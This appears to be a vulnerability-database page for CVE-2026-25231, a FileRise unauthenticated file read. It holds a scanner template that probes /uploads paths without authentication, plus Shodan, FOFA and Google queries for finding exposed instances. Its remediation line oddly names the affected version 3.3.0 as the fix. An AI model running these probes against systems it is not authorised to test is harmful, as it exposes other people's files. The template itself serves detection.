FileRise <= 3.3.0 - Unauthenticated File Read
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-25231 | 9 Feb 202618:34 | – | attackerkb | |
| CVE-2026-25231 | 9 Feb 202620:23 | – | circl | |
| FileRise 安全漏洞 | 9 Feb 202600:00 | – | cnnvd | |
| CVE-2026-25231 | 9 Feb 202618:34 | – | cve | |
| CVE-2026-25231 FileRise affected by an Unauthenticated File Read Due to Insufficient Access Control | 9 Feb 202618:34 | – | cvelist | |
| CVE-2026-25231 | 9 Feb 202620:15 | – | nvd | |
| PT-2026-7134 | 9 Feb 202600:00 | – | ptsecurity | |
| CVE-2026-25231 | 10 Feb 202619:23 | – | redhatcve | |
| CVE-2026-25231 FileRise affected by an Unauthenticated File Read Due to Insufficient Access Control | 9 Feb 202618:34 | – | vulnrichment |
id: CVE-2026-25231
info:
name: FileRise <= 3.3.0 - Unauthenticated File Read
author: str4k3r
severity: high
description: |
FileRise <= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.
impact: |
Unauthenticated attackers can access sensitive uploaded files, leading to data exposure and privacy breaches.
remediation: |
Upgrade to version 3.3.0 or later.
reference:
- https://github.com/error311/FileRise/security/advisories/GHSA-hv99-77cw-hvpr
- https://github.com/error311/FileRise
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-284
metadata:
verified: true
max-request: 3
vendor: error311
product: filerise
shodan-query: 'http.title:"FileRise"'
fofa-query: 'title="FileRise"'
google-query: 'intitle:"FileRise"'
tags: cve,cve2026,filerise,exposure,file-read
flow: http(1) && (http(2) || http(3))
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(to_lower(body), '<title>filerise')"
- "contains_any(body, 'api/auth/login_basic.php', 'js/main.js')"
condition: and
internal: true
- raw:
- |
GET /uploads/README.md HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "len(body) > 0"
- "!contains(to_lower(content_type), 'text/html')"
- "!contains(to_lower(body), '<title')"
condition: and
- raw:
- |
GET /uploads HTTP/1.1
Host: {{Hostname}}
redirects: false
matchers:
- type: dsl
dsl:
- "status_code == 301"
- "contains(header, '/uploads/')"
condition: and
# digest: 4a0a0047304502203235d67ccc8d63dea95f8cbb998c8bdd8928f240c489261879be0aeb95b5cd040221008180df9e479a5a14789b841833686ddaa0b77dde6740c56bb539bea23198c502:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 21:46Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.5
EPSS0.01231
SSVC